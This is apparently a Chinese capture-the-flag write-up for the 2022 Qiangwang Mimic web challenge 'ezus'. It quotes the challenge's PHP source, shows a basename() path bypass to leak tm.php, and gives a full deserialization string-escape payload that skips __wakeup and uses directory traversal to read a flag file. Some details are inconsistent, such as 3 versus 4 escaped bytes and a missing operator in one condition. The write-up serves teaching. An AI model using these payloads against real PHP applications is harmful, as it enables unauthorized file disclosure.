强网拟态-2022-web-部分wp(未完待续)

ezus


题目内容

index.php 点进去是源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
 include 'tm.php'; // Next step in tm.php
 if (preg_match('/tm\.php\/*$/i', $_SERVER['PHP_SELF']))
 {
     exit("no way!");
 }
 if (isset($_GET['source']))
 {
     $path = basename($_SERVER['PHP_SELF']);
     if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
    {
         exit("nonono!");
    }
     highlight_file($path);
     exit();
 }
 ?>
 <a href="index.php?source">Source</a>

tm.php 反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
 class UserAccount
 {
     protected $username;
     protected $password;
 ​
     public function __construct($username, $password)
    {
         $this->username = $username;
         $this->password = $password;
    }
 }
 ​
 function object_sleep($str)
 {
     $ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
     return $ob;
 }
 ​
 function object_weakup($ob)
 {
     $r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
     return $r;
 }
 ​
 class order
 {
     public $f;
     public $hint;
 ​
     public function __construct($hint, $f)
    {
         $this->f = $f;
         $this->hint = $hint;
    }
 ​
     public function __wakeup()
    {
         //something in hint.php
         if ($this->hint != "pass" $this->f != "pass") {
             $this->hint = "pass";
             $this->f = "pass";
        }
    }
 ​
     public function __destruct()
    {
         if (filter_var($this->hint, FILTER_VALIDATE_URL))
        {
             $r = parse_url($this->hint);
             if (!empty($this->f)) {
                 if (strpos($this->f, "try") !==  false && strpos($this->f, "pass") !== false) {
                     @include($this->f . '.php');
                } else {
                     die("try again!");
                }
                 if (preg_match('/prankhub$/', $r['host'])) {
                     @$out = file_get_contents($this->hint);
                     echo "<br/>".$out;
                } else {
                     die("<br/>error");
                }
            } else {
                 die("try it!");
            }
        }
         else
        {
             echo "Invalid URL";
        }
    }
 }
 ​
 $username = $_POST['username'];
 $password = $_POST['password'];
 ​
 $user = serialize(new UserAccount($username, $password));
 unserialize(object_weakup(object_sleep($user)))
 ?>

分析

index.php

  • 题目暗示我们访问 /tm.php
  • 第一个if,百度发现$_SERVER['PHP_SELF'] 获取当前页面地址 也就是地址不能以tm.php结尾,就是我们不能直接访问/tm.php
  • 下面就是判断路径最后一个文件名是不是tm.php,如果是就返回no way,说明不能直接访问
  • 出现了一个source 变量, 里面的关键是highlight_file($path); 中间if没啥用,也就是说目的只是让path=tm.php
  • 网上wp说:basename()Linux下,如果取得的文件名开头是非ASCII码范围的字符,则basename()会抛弃这个文件名,继续往上一层走,把上一层的文件名取出来,直到获取到正常可显示ASCII字符开头的文件名(Windows下直接获取)。
    • 参考链接:basename()绕过总结在使用默认语言环境设置时,basename() 会删除文件名开头的非 ASCII 字符。
  • 我们的目的是从highlight_file($path); 中把tm.php的源码搞到,就需要path是tm.php,并且要有source
  • 绕过wp://index.php/tm.php/%88?source=tm.php
  • 这样正则匹配的时候返回的是%88 故可以染过正则匹配 ,但是basename()函数运行的时候忽略%88,直接匹配到tm.php ,只要有source就会进入if从而highlight_file($path);
1
2
3
4
5
6
7
8
9
10
11
12
<?php
$file = $_GET['file'];
echo basename($file);
//实例
http://localhost/?file=%ffindex.php/%ff
//index.php
http://localhost/?file=%ffindex.php
//index.php
http://localhost/?file=index.php%ff
//index.php
http://localhost/?file=index.php/%2b
//+

进入之后是反序列化的源码

tm.php

  • 关键是unserialize(object_weakup(object_sleep($user))) ,考点显然是反序列化字符串逃逸,注意chr(0) 是空字符,但是也算一个字节。
  • 我们自己肯定不会写入不可见字符,所以只利用
    • function object_weakup($ob) { $r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob); return $r; }
    • 一开始短路了想当然的以为以为两个函数都利用,相当于没逃逸,想了半天。。
  • username传入@0@0@0@ ,每传一组就可以逃逸3个字节[字符串减少的情况],password就传入我们构造好的order
  • 其中order类首先是常规方法桡绕过wakeup
  • 提示hint.php,入口是:@$out = file_get_contents($this->hint); echo "<br/>".$out; 进入条件是if (preg_match('/prankhub$/', $r['host'])) 思路就是hint = p5ych://prankhub/
  • hint.php里面提示flag在f1111444449999.txt
  • 后缀是txt,题目本来有两个地方可以利用,includefile_get_contents ,但是include后面加了后缀PHP,所以思路是利用file_get_contents
  • 因为要求host是prankhub 所以考虑使用伪协议目录穿透到根目录得到flag
  • order里面f=trypass,hint=p5ych://prankhub/../../../../../../../f1111444449999.txt
  • 构造出order:O:5:"order":2:{s:1:"f";s:7:"trypass";s:4:"hint";s:56:"p5ych://prankhub/../../../../../../../f1111444449999.txt";}
  • 现在考虑字符串逃逸,username传@0@0@0@ ,每传一组就可以逃逸4个字节,我们需要的password是";s:8:"password";"O:5:"order":2:{s:1:"f";s:7:"trypass";s:4:"hint";s:56:"p5ych://prankhub/../../../../../../../f1111444449999.txt";}";
  • username='@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@'
  • password='";s:11:"%00*%00password";O:5:"order":3:{s:1:"f";s:7:"trypass";s:4:"hint";s:56:"p5ych://prankhub/../../../../../../../f1111444449999.txt";}";'
  • 这里需要注意的是order需要绕过wakeup,"order":3:{ 这里是3.
  • password就直接用那个类了,不要前面那个s:122啥的,这个时候我们的password本来传入的string,最后变成Object

总结

本题考点是:

  • basename()函数绕过
  • 反序列化的字符逃逸
  • 目录穿越读取flag

当然重要考点是字符逃逸,主要是需要精心构造还有本地调试,让password是order类,逃逸字符个数要数清楚。